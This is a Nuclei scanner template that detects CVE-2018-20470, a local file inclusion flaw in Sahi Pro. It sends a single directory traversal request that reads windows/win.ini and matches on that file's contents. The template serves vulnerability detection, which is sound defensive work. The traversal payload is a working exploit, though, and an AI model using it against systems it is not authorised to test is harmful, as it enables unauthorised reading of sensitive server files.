id: CVE-2018-20470

info:
  name: Tyto Sahi pro 7.x/8.x - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    Tyto Sahi Pro versions through 7.x.x and 8.0.0 are susceptible to a local file inclusion vulnerability in the web reports module which can allow an outside attacker to view contents of sensitive files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Tyto Sahi pro.
  reference:
    - https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/
    - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20470
    cwe-id: CWE-22
    epss-score: 0.82228
    epss-percentile: 0.99238
    cpe: cpe:2.3:a:sahipro:sahi_pro:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sahipro
    product: sahi_pro
  tags: cve2018,cve,lfi,packetstorm,sahipro,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bc83f8fde41ef91466a23a0de13368c167770a7480fed8b94e78e86080727e430220365e074aba6c64a097b9a94bfefcd3b2f96af0297e1dab019da3aee928f9d073:922c64590222798bb761d5b6d8e72950